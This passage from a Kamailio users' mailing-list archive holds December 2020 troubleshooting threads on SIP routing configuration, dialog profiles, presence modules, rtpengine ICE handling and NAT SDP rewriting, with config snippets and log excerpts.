if(!is_method("REGISTER")) return; add_path_received(); route(DISPATCH); } # Presence server route route[PRESENCE] { if(!is_method("PUBLISH|SUBSCRIBE")) return; sl_send_reply("404", "Not here"); exit; } # Dispatch requests route[DISPATCH] { # round robin dispatching on gateways group '1' switch ($fd){ case "oro.sips.nl": send_reply(483, "Ok, Skipper!"); if (!ds_select_dst("1", "4")) { log("ERROR: no active destinations found!\n"); send_reply(503, "Service Unavailable"); exit; } ds_select_dst("1", "4"); log("---- flag value is $dd -- branch $fd \n"); xdbg("--- SCRIPT: going to <$ru> via <$du> (attrs: $xavp(_dsdst_=>attrs))\n"); break; case "oro2.sips.nl": send_reply(483, "Ok, Skipper!"); if (!ds_select_dst("2", "4")) { log("ERROR: no active destinations found!\n"); send_reply(503, "Service Unavailable"); exit; } ds_select_dst("2", "4"); log("---- flag value is $dd -- branch $fd \n"); xdbg("--- SCRIPT: going to <$ru> via <$du> (attrs: $xavp(_dsdst_=>attrs))\n"); break; default: log("unknow destination?"); send_reply(503, "No service defined"); exit; } xdbg("--- SCRIPT: going to <$ru> via <$du> (attrs: $xavp(_dsdst_=>attrs))\n"); t_on_failure("RTF_DISPATCH"); route(RELAY); exit; } # Try next destionations in failure route failure_route[RTF_DISPATCH] { if (t_is_canceled()) { exit; } # next DST - only for 500 or local timeout if (t_check_status("500") or (t_branch_timeout() and !t_branch_replied())) { if(ds_next_dst()) { xdbg("--- SCRIPT: retrying to <$ru> via <$du> (attrs: $xavp(_dsdst_=>attrs))\n"); t_on_failure("RTF_DISPATCH"); route(RELAY); exit; } } }

3 4

SLA presence not working proper with (SCA module)
by Aatif Shaikh 07 Dec '20

07 Dec '20

Hello All I configure my kamailio.cfg to handle SLA using (SCA module) and shared presence is working but still facing some issue in case of hold invite and BYE and the reason behind of that issue is following error Nov 26 07:38:40 SBC-4-1 /usr/local/sbin/kamailio[104107]: ERROR: sca [sca_call_info.c:1008]: sca_call_info_invite_request_handler(): Failed to update sip:4569@test.sip.abcd.com appearance-index 0 to active actually, in Kamailio appearances, I can see the entry for this call but the index is 1 instead of 0, and Kamailio going to update with a 0 index [root@SBC-4-1 ntcarfte-kamailio]# kamcmd sca.all_appearances sip:4569@test.sip.abcd.com 1 active 1606376289 sip:4569@10.xx.xx.xx:5070;transport=udp sip:2003@test.sip.abcd.com 186161_mobile-rel120MTQ5OTcyZjFhMjMyNmI1ZGE1MWY4ODc2M2RkN2VmZmQ 45dc18d8 H6cS9vecZ248B if I manually update appearances using RPC command with index 1 then the phone started blinking as I change state to held # kamcmd sca.update_appearance sip:4569@sc4test.sip.teledge.com 1 held # kamcmd sca.all_appearances sip:4569@test.sip.abcd.com 1 held 1606376516 sip:4569@10.xx.xx.xx:5070;transport=udp sip:2003@test.sip.abcd.com 186161_mobile-rel120NzE5MDgyZDc1NjJiYjcwMWFlYmI3NzM3NjE2OTRhZjU 08f005cb eK9ratm83g92e kamailio.cfg route[SCA] { if(is_method("SUBSCRIBE")) { if ($hdr(Event) == "call-info" || $hdr(Event) == "line-seize") { xlog("L_INFO","(MAIN) :HELLO ($avp(uuid)) : $avp(rsi) $sp $hdr(Event)"); xdbg("SCA: $hdr(Event) SUBSCRIBE $ru from $si:$sp"); sca_handle_subscribe(); exit; } return; } if (!is_method("BYE|CANCEL|INVITE|PRACK|REFER")) { return; } sca_call_info_update(); } route[RELAY_OUTBOUND_FS] { xlog("L_INFO","(RELAY_OUTBOUND_FS) : ($avp(uuid)) : INSIDE ROUTE "); if (!has_totag()){ $avp(set_h) = 1; } t_on_reply("REPLY_OUTBOUND_FS"); route(SCA); if (!t_relay()) { sl_reply_error(); } exit; } route[RELAY_INBOUND_FS] { if(is_method("INVITE|BYE|UPDATE|CANCEL|ACK")) { $avp(s:puburis_caller) = $fu; setflag(8); dlg_manage(); } if(is_method("REGISTER")) { t_on_reply("REPLY_REGISTER"); } else { t_on_reply("REPLY_INBOUND_FS"); } route(SCA); if (!t_relay()) { sl_reply_error(); } exit; } onreply_route[REPLY_INBOUND_FS] { xdbg("incoming reply\n"); if (status =~ "[456][0-9][0-9]") { # don't update SCA state here, since there may be # failure route processing (e.g., call forwarding). # update state in failure route instead. return; } route(SCA); } onreply_route[REPLY_OUTBOUND_FS] { xdbg("incoming reply\n"); if (status =~ "[456][0-9][0-9]") { # don't update SCA state here, since there may be # failure route processing (e.g., call forwarding). # update state in failure route instead. return; } route(SCA); } can someone help me with this Did I missed something to handle SLA? -- -- Regards, *Aatif Shaikh *| Software Developer +91 9033976268Hangout: aatif.shaikh(a)ecosmob.comSkype : aatif.shaikh(a)ecosmob.com *Ecosmob Technologies Pvt. Ltd. * https://www.ecosmob.com VoIP | Web | Mobile | IoT | Big Data <https://twitter.com/ecosmob> <https://www.facebook.com/Ecosmob> <https://plus.google.com/+Ecosmob> <https://www.linkedin.com/company/ecosmob> <https://in.pinterest.com/ecosmob/> This e-mail message may contain confidential or legally privileged information and is intended only for the use of the intended recipient(s). Any unauthorized disclosure, dissemination, distribution, copying or the taking of any action in reliance on the information herein is prohibited. Ecosmob Technologies is not responsible for errors or omissions in this message and denies any responsibility for any damage arising from the use of e-mail. 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1 0

Re: [SR-Users] Dialog profile not defined
by Gertjan Wolzak 06 Dec '20

06 Dec '20

Thank you Joel for the tip. But that is also not it..... I tried of course, but when you look at the Dialog module documentation is says: modparam("dialog", "profiles_with_value", "caller ; my_profile") So there are spaces in the modparam config for the dialog profiles. Its just so strange that when starting Kamailio I get the error that the Profile outbound is not configured, while it is... Log line: Dec 6 15:04:04 proxy01 /usr/local/sbin/kamailio[76664]: CRITICAL: dialog [dialog.c:391]: fixup_profile(): profile <inbound> not defined kamailo.cfg # ---- Dialog params ------------- modparam("dialog", "default_timeout", 7200) modparam("dialog", "db_mode", 0) modparam("dialog", "dlg_flag", DLG_FLAG) modparam("dialog", "hash_size", 4096) #modparam("dialog", "detect_spirals", 1) modparam("dialog", "profiles_with_value", "inbound") Im starting to think that I am missing some configuration in the kamailio.cfg file... Rgds, Gertjan

1 0

Re: [SR-Users] Dialog profile not defined
by Gertjan Wolzak 05 Dec '20

05 Dec '20

Thanks again Sergiu, /Hmmm... if dialog params are wrapped in a ifdef condition, then do you have something like #!define WITH_DIALOG at the top?/ But the #!define WITH_DIALOG is to choose between loading module parameters or not loading module parameters... When you do not add #!ifdef WITH_XXX before the parameters and #!endif after, then those parameters will be loaded when starting Kamailio. So, I still have the issue that the profile is not being loaded. I have tried renaming the profiles, in the route and the parameters, but that does not make a difference.. # ---- Dialog params ------------- modparam("dialog", "default_timeout", 7200) modparam("dialog", "db_mode", 0) modparam("dialog", "dlg_flag", DLG_FLAG) modparam("dialog", "hash_size", 4096) #modparam("dialog", "detect_spirals", 1) modparam("dialog", "profiles_with_value", "inbound ; outbound") route[CONCURRENT_IN] { #Add call to customer profile #Check if customer has not reached inbound call limit #Get max concurrent calls sql_query("cc", "select max_calls_in from calllimit where cust_id='$avp(custid)'", "ra"); $avp(maxcalls)=$dbr(ra=>[0,0]); sql_result_free("ra"); $avp(concurrent) = 0; get_profile_size("inbound", "$avp(custid)", "$avp(concurrent)"); if( $avp(concurrent) >= $var(max) ) { xlog("L_INFO"," Call limit reached for customer $avp(custid)\r\n "); sl_send_reply("503", "No Lines Available"); exit; } set_dlg_profile("inbound", "$avp(custid)"); return; } But this still results in: Dec 5 09:34:33 proxy01 /usr/local/sbin/kamailio[75755]: CRITICAL: dialog [dialog.c:391]: fixup_profile(): profile <inbound> not defined Dec 5 09:34:33 proxy01 /usr/local/sbin/kamailio[75755]: ERROR: <core> [core/route.c:1166]: fix_actions(): fixing failed (code=-6) at cfg:/usr/local/etc/kamailio/kamailio.cfg:1578

2 1

question regarding rtpengine and ICE candidate selection
by Andrew Chen 04 Dec '20

04 Dec '20

Hi all, I was wondering if someone can help me understand how the ICE parameter works in the rtpengine module works. So basically our client does an ICE candidate lookup and grabs a list of them and applies it to the INVITE that gets sent to the Kamailio. The list looks like this: 2020-12-03T18:05:46.456030+00:00 ashmainkama51 kamailio[22147]: a=candidate:3373280875 1 udp 2122262783 2001:8a0:78fc:7000:e1d7:e93:3c50:ee71 59827 typ host generation 0 network-id 2 network-cost 10 2020-12-03T18:05:46.456057+00:00 ashmainkama51 kamailio[22147]: a=candidate:3040609428 1 udp 2122197247 2001:8a0:78fc:7000:d979:bf75:dbc0:69f 59828 typ host generation 0 network-id 3 network-cost 10 2020-12-03T18:05:46.456081+00:00 ashmainkama51 kamailio[22147]: a=candidate:1681997092 1 udp 2122129151 192.168.1.66 59829 typ host generation 0 network-id 1 network-cost 10 2020-12-03T18:05:46.456106+00:00 ashmainkama51 kamailio[22147]: a=candidate:2274611867 1 tcp 1518283007 2001:8a0:78fc:7000:e1d7:e93:3c50:ee71 9 typ host tcptype active generation 0 network-id 2 network-cost 10 2020-12-03T18:05:46.456131+00:00 ashmainkama51 kamailio[22147]: a=candidate:4223662180 1 tcp 1518217471 2001:8a0:78fc:7000:d979:bf75:dbc0:69f 9 typ host tcptype active generation 0 network-id 3 network-cost 10 2020-12-03T18:05:46.456155+00:00 ashmainkama51 kamailio[22147]: a=candidate:717406676 1 tcp 1518149375 192.168.1.66 9 typ host tcptype active generation 0 network-id 1 network-cost 10 2020-12-03T18:05:46.456180+00:00 ashmainkama51 kamailio[22147]: a=candidate:2130547417 1 udp 8199935 206.81.191.27 61165 typ relay raddr 85.247.0.121 rport 53091 generation 0 network-id 1 network-cost 10 In the rtpengine_offer, I have this: rtpengine_offer("ICE=force DTLS=passive replace-session-connection replace-origin external internal"); What i am trying to do is to tell the freeswitch endpoint to use rtpengine as ICE candidate and I see in the SDP this is happening: a=candidate:6296910676 1 udp 659136 206.81.191.52 52766 typ host generation 0 Btw..206.81.191.52 is a separate AWS instance running rtpengine binary. On the rtpengine_answer, I tell the remote client side the same thing..use rtpengine as your ICE candidate: rtpengine_answer("ICE=force DTLS=passive replace-session-connection replace-origin internal external"); and this is snippet from 200 OK: a=candidate:6296910676 1 udp 659136 206.81.191.52 52766 typ host generation 0 Question: Why does the rtpengine logs still show that it's trying to use 2001:8a0:78fc:7000:e1d7:e93:3c50:ee71 as RTP candidate in this scenario? Dec 3 18:05:47 ashmainrtpe42 rtpengine[8505]: DEBUG: [ep1sbnkk9tikhg4kpmot]: Forward to sink endpoint: 2001:8a0:78fc:7000:e1d7:e93:3c50:ee71:59827 (RTP seq 25423 TS 0) I thought ICE=force will handle such adjustments so that all rtp is handled by the rtpengine to our client and bypass the STUN server? Thanks. -- Andy Chen Sr. Telephony Lead Engineer achen@ <achen(a)thinkingphones.com>fuze.com -- *Confidentiality Notice: The information contained in this e-mail and any attachments may be confidential. If you are not an intended recipient, you are hereby notified that any dissemination, distribution or copying of this e-mail is strictly prohibited. If you have received this e-mail in error, please notify the sender and permanently delete the e-mail and any attachments immediately. You should not retain, copy or use this e-mail or any attachment for any purpose, nor disclose all or any part of the contents to any other person. Thank you.*

3 22

REFER from MS teams to Kamailio.
by Yuriy Nasida 04 Dec '20

04 Dec '20

Well, I saw similar questions in the list already but looks like nobody has answer. Please look at REFER below. Kamilio get REFER from MS and sends it to FS node. Next, FS node try to make 3th call for some reason.I expect that FS will not do 3th call and just will connect Alice and Bob itself. 2020/05/14 12:32:00.637027 KAM_IP:5060 -> FS_IP:5060 REFER sip:Alice_number@FS_IP:5060;transport=udp SIP/2.0 FROM: Customer1<sip:MS_TRUNK_NUMBER@sip.pstnhub.microsoft.com:5061 ;user=phone>;tag=a860c50a3fb54d08b4e5740fa2dfb3d6 TO: <sip:Alice_number@FQDN_OF_TRUNK:5061>;user=phone;tag=e8ct9S6ty13va CSEQ: 4 REFER CALL-ID: 2c71b2a6669b5343a231e1244b19c945 MAX-FORWARDS: 50 Via: SIP/2.0/UDP FQDN_OF_TRUNK:5060;branch=z9hG4bK10ae.2c42897feca117121a23bf0c8d54cd19.0;i=c VIA: SIP/2.0/TLS 52.114.75.24:5061;branch=z9hG4bK7e3e8998 CONTACT: <sip:api-du-a-euwe.pstnhub.microsoft.com:443 ;x-i=6b68e7aa-f5e2-44ec-9edf-0bacbabfce07;x-c=2c71b2a6669b5343a231e1244b19c945/d/8/b68f86794a8e44d19543f8edbee6b2fc CONTENT-LENGTH: 0 REFER-TO: <sip:Bob_number@sip.pstnhub.microsoft.com:5061 ;user=phone;transport=tls> REFERRED-BY: <sip:sip.pstnhub.microsoft.com:5061 ;x-m=8:orgid:21bc47d3-c050-4292-8234-46f7005b97aa;x-t=fb788ef8-3c4c-455a-8d62-f3c20832c0d3;x-ti=6b68e7aa-f5e2-44ec-9edf- acbabfce07;x-tt=aHR0cHM6Ly9hcGktZHUtYS1ldXdlLnBzdG5odWIubWljcm9zb2Z0LmNvbS92MS9uZ2MvY2FsbG5vdGlmaWNhdGlvbj9kY2k9YzIxMjE3MzEyNTQ2NDk1ZjlhYTcwODliYTkwNGIxZGQ%3D> USER-AGENT: Microsoft.PSTNHub.SIPProxy v.2020.5.6.2 i.EUWE.4 ALLOW: INVITE,ACK,OPTIONS,CANCEL,BYE,NOTIFY P-ASSERTED-IDENTITY: <tel:MS_TRUNK_NUMBER>,< sip:customer1@m365x587912.onmicrosoft.com> PRIVACY: id X-AUTH-IP: 52.114.75.24 X-AUTH-PORT: 3136 Any advice?

4 11

Re: [SR-Users] Dialog profile not defined
by Gertjan Wolzak 04 Dec '20

04 Dec '20

Hello Sergiu, Thank you for the pointer, the line 1576 is: get_profile_size("callee", "$avp(custid)", "$avp(concurrent)"); That is where Kamailio refuses to start.... And as you mentioned my error in the IF statement after correction you pointed out, Kamailio still refuses on the fact that the profile <callee> was not defined... Dec 4 13:42:50 proxy01 /usr/local/sbin/kamailio[75008]: CRITICAL: dialog [dialog.c:391]: fixup_profile(): profile <callee> not defined Dec 4 13:42:50 proxy01 /usr/local/sbin/kamailio[75008]: ERROR: <core> [core/route.c:1166]: fix_actions(): fixing failed (code=-6) at cfg:/usr/local/etc/kamailio/kamailio.cfg:1576 Dec 4 13:42:50 proxy01 systemd[1]: kamailio.service: Main process exited, code=exited, status=255/n/a Dec 4 13:42:50 proxy01 systemd[1]: kamailio.service: Failed with result 'exit-code'. Does anyone else maybe have an idea on where I go wrong? Rgds, Gertjan

2 1

Fix Sdp Error
by Duarte Rocha 04 Dec '20

04 Dec '20

Hello, I noticed that when i do calls behind NAT i'm getting this error when i call fix_nated_sdp() : "nathelper [nathelper.c:1659]: replace_sdp_ip(): can't extract 'a=rtcp' IP from the SDP" As far as i can see, all the ips on SDP are correctly replaced to a public IP, so i don't understand the origin of this error. This is the SDP received by Kamailio : Session Description Protocol Session Description Protocol Version (v): 0 Owner/Creator, Session Id (o): - 3421914885 1 IN IP4 192.168.24.89 Session Name (s): SIPPER for PhonerLite Connection Information (c): IN IP4 192.168.24.89 Time Description, active time (t): 0 0 Media Description, name and address (m): audio 5062 RTP/AVP 107 8 0 2 3 97 110 111 9 18 11 118 101 Media Attribute (a): rtpmap:107 opus/48000/2 Media Attribute (a): rtpmap:8 PCMA/8000 Media Attribute (a): rtpmap:0 PCMU/8000 Media Attribute (a): rtpmap:2 G726-32/8000 Media Attribute (a): rtpmap:3 GSM/8000 Media Attribute (a): rtpmap:97 iLBC/8000 Media Attribute (a): rtpmap:110 speex/8000 Media Attribute (a): rtpmap:111 speex/16000 Media Attribute (a): rtpmap:9 G722/8000 Media Attribute (a): rtpmap:18 G729/8000 Media Attribute (a): fmtp:18 annexb=yes Media Attribute (a): rtpmap:11 L16/44100 Media Attribute (a): rtpmap:118 L16/16000 Media Attribute (a): rtpmap:101 telephone-event/8000 Media Attribute (a): fmtp:101 0-16 Media Attribute (a): ssrc:2716178988 Media Attribute (a): sendrecv And this is the SDP sent by Kamailio after NAT being treated : Session Description Protocol Session Description Protocol Version (v): 0 Owner/Creator, Session Id (o): - 3421914885 1 IN IP4 1.1.1.1 (Public IP) Session Name (s): SIPPER for PhonerLite Connection Information (c): IN IP4 1.1.1.1 (Public IP) Time Description, active time (t): 0 0 Media Description, name and address (m): audio 5062 RTP/AVP 107 8 0 2 3 97 110 111 9 18 11 118 101 Media Attribute (a): rtpmap:107 opus/48000/2 Media Attribute (a): rtpmap:8 PCMA/8000 Media Attribute (a): rtpmap:0 PCMU/8000 Media Attribute (a): rtpmap:2 G726-32/8000 Media Attribute (a): rtpmap:3 GSM/8000 Media Attribute (a): rtpmap:97 iLBC/8000 Media Attribute (a): rtpmap:110 speex/8000 Media Attribute (a): rtpmap:111 speex/16000 Media Attribute (a): rtpmap:9 G722/8000 Media Attribute (a): rtpmap:18 G729/8000 Media Attribute (a): fmtp:18 annexb=yes Media Attribute (a): rtpmap:11 L16/44100 Media Attribute (a): rtpmap:118 L16/16000 Media Attribute (a): rtpmap:101 telephone-event/8000 Media Attribute (a): fmtp:101 0-16 Media Attribute (a): ssrc:2716178988 Media Attribute (a): sendrecv Media Attribute (a): oldmediaip:192.168.24.89 Media Attribute (a): oldmediaip:192.168.24.89 Is there something failing in the SDP fix? Best Regards,

1 0

TOPOS replication with KDMQ
by James Browne 04 Dec '20

04 Dec '20

Has anyone ever implemented DMQ replication of TOPOS data between kamailio servers? I'm trying to find the easiest (to maintain) way to implement this replication, possibly without using an external database. James

3 3

presence not work proper with subs_db_mode = 2
by Aatif Shaikh 04 Dec '20

04 Dec '20

Hello, all have a problem with Kamailio presence, I have configured my kamailio.cfg to handle dialog presence and facing issue in case of subs_db_mode = 2 in case of mode 2 facing the following presence issue. 1. after hangup presence is still up 2. sometimes stuck in a ringing state 3. sometimes presence not came..etc but in the case of subs_db_mode = 3 (DB ONLY) mode presence working fine not facing any issue with this mode. I noticed that sometimes Kamailio will throw the following message during PUBLISH processing and it will not generate appropriate NOTIFY I also verify inactive watcher subscription is there for that user and also a proper entry in the dialog table. MSG during PUBLISH processesing and it will not generate appropriate NOTIFY Oct 30 07:42:10 NC-HOSTED-1 /usr/local/sbin/kamailio[2409]: DEBUG: presence [notify.c:1444]: publ_notify(): Could not find subs_dialog kamailio.cfg param modparam("pua", "db_url", DBURL_KAMAILIO) modparam("pua", "db_mode", 2) modparam("pua", "update_period", 100) modparam("pua", "dlginfo_increase_version", 1) modparam("pua", "default_expires", 3600) modparam("pua", "fetch_rows", 1000) modparam("pua", "outbound_proxy", SERVER_IP) modparam("dialog", "db_url", DBURL_KAMAILIO ) modparam("dialog", "db_mode", 1) modparam("dialog", "db_update_period", 260) modparam("dialog", "db_fetch_rows", 500) modparam("pua_dialoginfo", "include_callid", 1) modparam("pua_dialoginfo", "send_publish_flag", 8) modparam("pua_dialoginfo", "caller_confirmed", 0) modparam("pua_dialoginfo", "include_tags", 1) modparam("pua_dialoginfo", "use_pubruri_avps", 1) modparam("pua_dialoginfo", "include_localremote", 1) modparam("pua_dialoginfo", "override_lifetime", 300) modparam("pua_dialoginfo", "pubruri_caller_avp", "$avp(s:puburis_caller)") modparam("pua_dialoginfo", "pubruri_caller_dlg_var", "pubruri_caller") modparam("pua_dialoginfo", "pubruri_callee_dlg_var", "pubruri_callee") modparam("pua_dialoginfo", "pubruri_callee_avp", "$avp(s:puburis_callee)") modparam("presence_dialoginfo", "force_single_dialog", 1) modparam("presence", "db_table_lock_type", 0) modparam("presence", "db_url", DBURL_KAMAILIO) modparam("presence", "db_update_period", 5) modparam("presence", "send_fast_notify", 1) modparam("presence", "clean_period", 100) modparam("presence", "subs_db_mode", 2) //modparam("presence", "subs_db_mode", 3) modparam("presence", "timeout_rm_subs", 1) //new/ //modparam("presence", "notifier_processes", 2) //new// modparam("presence", "notifier_poll_rate", 20) //new// modparam("presence", "waitn_time",1) modparam("presence", "fetch_rows", 1000) modparam("presence", "presentity_table", "presentity") modparam("presence", "active_watchers_table", "active_watchers") modparam("presence", "watchers_table", "watchers") modparam("presence", "max_expires", 3600) modparam("presence_xml", "db_url", DBURL_KAMAILIO) modparam("presence_xml", "force_active", 1) logic for presence request_route { if(is_method("PUBLISH") || is_method("SUBSCRIBE")) { route(HANDLE_PRESENCE); } } route[HANDLE_PRESENCE] { if (! t_newtran()) { sl_reply_error(); exit; } if(is_method("PUBLISH")) { handle_publish(); t_release(); } else if( is_method("SUBSCRIBE")) { handle_subscribe(); t_release(); } exit; } route[RELAY] { if(is_method("INVITE|BYE|UPDATE|CANCEL|ACK")) { $avp(t_ext) = $tU ; $avp(domain) = $fd ; $avp(et) = $_s(sip:$avp(t_ext)@$avp(domain)) ; $avp(s:puburis_callee) = $avp(et); setflag(8); dlg_manage(); } } I already report this issue in Kamailio git https://github.com/kamailio/kamailio/issues/2540 -- -- Regards, *Aatif Shaikh *| Software Developer +91 9033976268Hangout: aatif.shaikh(a)ecosmob.comSkype : aatif.shaikh(a)ecosmob.com *Ecosmob Technologies Pvt. Ltd. * https://www.ecosmob.com VoIP | Web | Mobile | IoT | Big Data <https://twitter.com/ecosmob> <https://www.facebook.com/Ecosmob> <https://plus.google.com/+Ecosmob> <https://www.linkedin.com/company/ecosmob> <https://in.pinterest.com/ecosmob/> This e-mail message may contain confidential or legally privileged information and is intended only for the use of the intended recipient(s). Any unauthorized disclosure, dissemination, distribution, copying or the taking of any action in reliance on the information herein is prohibited. Ecosmob Technologies is not responsible for errors or omissions in this message and denies any responsibility for any damage arising from the use of e-mail. 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1 0

Dialog profile not defined
by Gertjan Wolzak 03 Dec '20

03 Dec '20

Hello Kamailions, I am running into the following issue. The same setup I had working on 5.0, now I am using a 5.4 version of Kamailio, but I do not believe it has to do with the version, more with my ability to make errors... I am trying to limit incoming calls by using the dialog module. The max concurrent calls value I retrieve from a database. But when I try to start Kamailio it will not because the dialog profile is not defined... These are my configured Dialog parameters: # ---- Dialog params ------------- modparam("dialog", "default_timeout", 7200) modparam("dialog", "db_mode", 0) modparam("dialog", "dlg_flag", DLG_FLAG) modparam("dialog", "hash_size", 4096) #modparam("dialog", "detect_spirals", 1) modparam("dialog", "profiles_with_value", "callee") My check on the concurrent inbound calls: route[CONCURRENT_IN] { #Add call to callee profile #Check if callee has not reached inbound call limit #Get max concurrent calls sql_query("cc", "select max_calls_in from calllimit where cust_id='$avp(custid)'", "ra"); $avp(maxcalls)=$dbr(ra=>[0,0]); sql_result_free("ra"); $avp(concurrent) = 0; get_profile_size("callee", "$avp(custid)", "$avp(concurrent)"); if( $avp(concurrent) = $var(max) ) { xlog("L_INFO"," Call limit reached for customer $avp(custid)\r\n "); sl_send_reply("503", "No Lines Available"); exit; } set_dlg_profile("callee", "$avp(custid)"); return; } And the kamailio log error: Dec 3 09:12:08 proxy01 kamailio[74102]: INFO: <core> [main.c:2833]: main(): processes (at least): 21 - shm size: 67108864 - pkg size: 8388608 Dec 3 09:12:08 proxy01 kamailio[74102]: CRITICAL: dialog [dialog.c:391]: fixup_profile(): profile <callee> not defined Dec 3 09:12:08 proxy01 kamailio[74102]: ERROR: <core> [core/route.c:1166]: fix_actions(): fixing failed (code=-6) at cfg:/usr/local/etc/kamailio/kamailio.cfg:1576 Is someone able to see where I go wrong and point me in the right direction? Thank you. Rgds, Gertjan Wolzak

2 2

$TF pseudo variable can not be used
by Володимир Іванець 03 Dec '20

03 Dec '20

Hello! I'm using a $TF variable in my config for some logging purposes. It was providing the correct string with Kamailio version 5.3.8 on CentOS 6 and 8. After updating to Kamailio version 5.4.1, the variable started to show something else. I also tried versions 5.4.2 and development 5.5.0 on CentOS 6 and the problem still persists. With version 5.5.0_dev3 this variable shows "pG▒" for me. I was wondering if someone else is using it too with Kamailio version 5.4.1 or newer on different platforms and has this issue. Thanks!

2 2

kamailio51 installs 5.2.1?
by David Villasmil 03 Dec '20

03 Dec '20

Hello everyone, On a debian buster i added the repo deb http://deb.kamailio.org/kamailio51 buster main deb-src http://deb.kamailio.org/kamailio51 buster main But when i install i get 5.2, is this right? additional info: # apt-cache showpkg kamailio Package: kamailio Versions: 5.2.1-1 (/var/lib/apt/lists/deb.debian.org_debian_dists_buster_main_binary-i386_Packages) (/var/lib/dpkg/status) Description Language: File: /var/lib/apt/lists/deb.debian.org_debian_dists_buster_main_binary-i386_Packages MD5: df3e15f422439e08c305782f5650a98c Description Language: en File: /var/lib/apt/lists/deb.debian.org_debian_dists_buster_main_i18n_Translation-en MD5: df3e15f422439e08c305782f5650a98c 5.1.10.1+bpo10 (/var/lib/apt/lists/deb.kamailio.org_kamailio51_dists_buster_main_binary-i386_Packages) Description Language: File: /var/lib/apt/lists/deb.kamailio.org_kamailio51_dists_buster_main_binary-i386_Packages MD5: ebddf40d0dfbfde1c479419970f978c7 Regards, David Villasmil email: david.villasmil.work(a)gmail.com phone: +34669448337

1 0

kamailio not absorbing ACK to CANCEL when behind a Path proxy
by Anthony Alba 02 Dec '20

02 Dec '20

Folks, I have a weird situation, when I enable Path header, kamailio behind a Path proxy, that kamailio doesn't recognise the ACK to CANCEL and tries to forward it. Test scenario: - voice.example.com is a stateless proxy with TLS/UDP bridging to kamailio. - on the UDP leg to kamailio it will add a Path: header to REGISTER UA1 = david is calling UA2 = charles and UA2 is sending 603 1 . UA1: preloaded route set (outbound proxy) # this is the Path proxy Route: sip:voice.example.com;transport=tls;lr 2. UA2: sends CANCEL 603 - kamailio immediately sends its (per-hop?) ACK - kamailio forwards CANCEL to UA1 kamailio sent this (per-hop?) ACK - the Route header is the internal UDP interface of the Path proxy ACK sip:charles@192.168.1.7:37309;transport=TCP;ob SIP/2.0 Via: SIP/2.0/UDP 192.168.122.99:5064;branch=z9hG4bK735d.6b27c8d09e40462ef47eccf90eb10823.0 Max-Forwards: 70 From: sip:david@voice.example.com;tag=i1acAHsitf2gcN9uHH-ZSyJ5OdT8O5M0 To: <sip:charles@voice.example.com>;tag=LmUY79rIdBQiiSakML4F0lHl271VdUn8 Call-ID: qM3W-fMrzPsvcjRSD1okEp5nbgHCF5Hu CSeq: 16667 ACK Route: <sip:192.168.122.100;lr> Content-Length: 0 3. UA1 sends ACK kamailio sees this - top Via is path proxy - 2nd Via is UA (caller) - CSeq correctly matches the INVITE - kamailio does not recognise this ACK from UA1(caller), tries to forward it, and also resends 603 to UA1(caller) 3 times ACK sip:charles@voice.example.com SIP/2.0 Via: SIP/2.0/UDP 192.168.122.100:5060;branch=z9hG4bKb3c9a7a3b6ec9e78d0144cda709f7047 Via: SIP/2.0/TLS 192.168.1.17:44925;rport=44925;branch=z9hG4bKPjFM-9gpaJEghJvN19TjnvScCwCoAGzwEc;alias;received=192.168.1.17 Max-Forwards: 70 From: sip:david@voice.example.com;tag=i1acAHsitf2gcN9uHH-ZSyJ5OdT8O5M0 To: sip:charles@voice.example.com;tag=LmUY79rIdBQiiSakML4F0lHl271VdUn8 Call-ID: qM3W-fMrzPsvcjRSD1okEp5nbgHCF5Hu CSeq: 16667 ACK Route: <sip:voice.example.com;transport=tls;lr> Content-Length: 0 Now kamailio should absorb this ACK, as it has already sent its per-hop ACK. Instead I see ERROR: <core> [core/forward.c:541]: forward_request(): cannot forward to af 2, proto 3 no corresponding listening socket I don't expect kamailio to forward anything at this point. The route block is route[WITHINDLG] and it calls t_relay() normally. route[WITHINDLG] { if (!has_totag()) return; # sequential request withing a dialog should # take the path determined by record-routing if (loose_route()) { route(DLGURI); if (is_method("BYE")) { setflag(FLT_ACC); # do accounting ... setflag(FLT_ACCFAILED); # ... even if the transaction fails } else if ( is_method("ACK") ) { # ACK is forwarded statelessly route(NATMANAGE); } else if ( is_method("NOTIFY") ) { # Add Record-Route for in-dialog NOTIFY as per RFC 6665. record_route(); } route(RELAY); # we should absorb this ACK, no? exit; } 4. If I remove the Path proxy and kamailio is the TLS proxy at voice.example.com the call flow works perfectly. The ACK from caller (david) is absorbed. 5. Regular calls, when UA2 accepts the call, work fine. In-dialog requests for BYE, from both UAs, work correctly with this Path proxy. Each UA has the complete 5 element route set( 2 x Path proxy + kamailio + 2 x Path proxy). The working route set looks like this: BYE sip:david@192.168.1.17:44925;transport=TCP;ob SIP/2.0 Via: SIP/2.0/TLS 192.168.1.7:37309;rport;branch=z9hG4bKPjHdUtaUL5AfRcV-SX1Puya4niJKOOQ4VQ;alias Max-Forwards: 70 From: <sip:charles@voice.example.com>;tag=6zOt.H7w8NL5njV7klwGLlSJy.U5yBC9 To: <sip:david@voice.example.com>;tag=Pa0ORUxA-7lK0BnR4pLJ5n8rn2OvQrJy Call-ID: 3gWy4Q7O.-zQ-I07lRKHyFyX6azyCSwG CSeq: 12855 BYE Route: <sip:voice.example.com;transport=tls;lr;r2=on> Route: <sip:192.168.122.100;lr;r2=on> Route: <sip:192.168.122.99:5064;lr> Route: <sip:192.168.122.100;lr;r2=on> Route: <sip:voice.example.com;transport=tls;lr;r2=on> User-Agent: basesip 1.0.0 Content-Length: 0 Any ideas? Anthony Alba

1 0

android client SIP TLS client autentication + kamailio
by beer Ll 02 Dec '20

02 Dec '20

Hello Has anybody use a android SIP client with TLS client authentication enabled with kamailio? Do you have suggestion ? Many thanks Luca

3 2

Kamailio 5.4 ndb_redis, selecting a database
by Daniel Donoghue 02 Dec '20

02 Dec '20

Hello, I note that I can use the ndb_redis server config parameter to specify connection details for my redis servers; I also note that the connection string can specify a “db” parameter which can be set from 0 to 9, with the default being 0. I am looking for a way to dynamically set the db parameter. I do not which to add the same server with different names N times just to select a different db and having N times more connections to it than necessary. It looks as though I can call redis_cmd(“svrN”, “SELECT dbN”, “init”); but will that propagate properly and set the correct db for all connections to my redis server for the lifetime of the request? Ideally, I’d like to be able to specify an avp for the db, or have a function to set the db per request. With every blessing, — Daniel Donoghue

1 0

Kamailio Remove Remove "Allow" features from header
by me.projects＠yahoo.com 02 Dec '20

02 Dec '20

